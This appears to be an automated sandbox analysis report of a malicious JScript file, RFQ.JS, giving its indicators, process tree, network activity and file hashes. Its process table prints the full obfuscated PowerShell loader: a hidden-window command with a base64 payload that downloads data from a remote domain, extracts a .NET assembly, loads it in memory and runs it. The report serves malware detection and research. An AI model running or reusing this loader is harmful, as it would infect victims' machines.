| File name: | RFQ.JS |
| Full analysis: | https://app.any.run/tasks/e7913f30-ea73-4399-9e04-327351de8ec7 |
| Verdict: | Malicious activity |
| Analysis date: | May 10, 2025, 03:16:25 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (308), with CRLF line terminators |
| MD5: | 94681EF7FDBC9AB1B8B192102D8367C5 |
| SHA1: | A0E2B34F53B948914C298F9F63968820E7006F03 |
| SHA256: | 47001FCACB51685040021AF829E8B22CFA802B19B9CD8DD60CFAD899A0BA9A73 |
| SSDEEP: | 768:osy3M5GTjIHnsy3M5GTjIHYsy3M5GTjIHnsy3M5GTjIHYsy3M5GTjIHnsy3M5GTJ:29kYSvbYGP |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 4120)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 4120)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 6404)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 6404)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 6404)
Executes script without checking the security policy
- powershell.exe (PID: 4120)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 6404)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 6404)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 4120)
INFO
Checks proxy server information
- powershell.exe (PID: 4120)
- slui.exe (PID: 1132)
Disables trace logs
- powershell.exe (PID: 4120)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 4120)
Gets data length (POWERSHELL)
- powershell.exe (PID: 4120)
Reads the software policy settings
- slui.exe (PID: 1132)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
127
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1132 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4120 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fructificative = 'JGdhbmdidXN0ZXJzID0gJ3R4dC54cGNveXBuYWkvcm9sb2MvaGNldC5yZWVyYXFhdC8vOnNwdHRoJzskcGljbGUgPSAnaHR0cHM6Ly9kb2NzLmluZm9ybWVmYWN0dXJhY2lvbmRpZ2l0YWwub25saW5lL2ZpbGUvMTYnOyRtaWNyb2xpdGhzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbWljcm9saXRocy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7JHRpcHVsYSA9ICRtaWNyb2xpdGhzLkRvd25sb2FkRGF0YSgkcGljbGUpOyRhcmNoZW9sb2dpc3QgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkdGlwdWxhKTskY3liZXJzcGVlY2ggPSAnPDxzdWRvX3BuZz4+JzskZGlhbmRlciA9ICc8PHN1ZG9fb2R0Pj4nOyRiYW5pZSA9ICRhcmNoZW9sb2dpc3QuSW5kZXhPZigkY3liZXJzcGVlY2gpOyRzY29ybmZ1bCA9ICRhcmNoZW9sb2dpc3QuSW5kZXhPZigkZGlhbmRlcik7JGJhbmllIC1nZSAwIC1hbmQgJHNjb3JuZnVsIC1ndCAkYmFuaWU7JGJhbmllICs9ICRjeWJlcnNwZWVjaC5MZW5ndGg7JGNydW1taWVyID0gJHNjb3JuZnVsIC0gJGJhbmllOyRtaWxsaWxpdHJlcyA9ICRhcmNoZW9sb2dpc3QuU3Vic3RyaW5nKCRiYW5pZSwgJGNydW1taWVyKTskYXlvbmQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtaWxsaWxpdHJlcyk7JHNhd2hvcnNlID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYXlvbmQpOyRMYXZlcm5hID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dIEAoJGdhbmdidXN0ZXJzLCcnLCcnLCcnLCdNU0J1aWxkJywnJywnJywnJywnJywnQzpcVXNlcnNcUHVibGljJywnYWRkcmVzcycsJ2pzJywnJywnJywnZGlzcGxheWFibGUnLCcyJywnJykp' -replace '','';$deedless = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($fructificative));Invoke-Expression $deedless;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4272 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6404 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\RFQ.JS | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
Total events
5 906
Read events
5 905
Write events
1
Delete events
0
Modification events
| (PID) Process: | (6404) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: DDCB100000000000 | |||
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4120 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:879C9F33EDB68D390507615B2E909258 | SHA256:87D9060E566B4311651DC61487FC8190482E987EA97915A6E47D130587939A07 | |||
| 4120 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kvzfzfzo.zac.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4120 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hgijbbgu.30r.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
21
DNS requests
17
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.164.49:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
3192 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
3192 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2104 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.16.164.49:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
— | — | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.159.0:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
docs.informefacturaciondigital.online |
| unknown |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |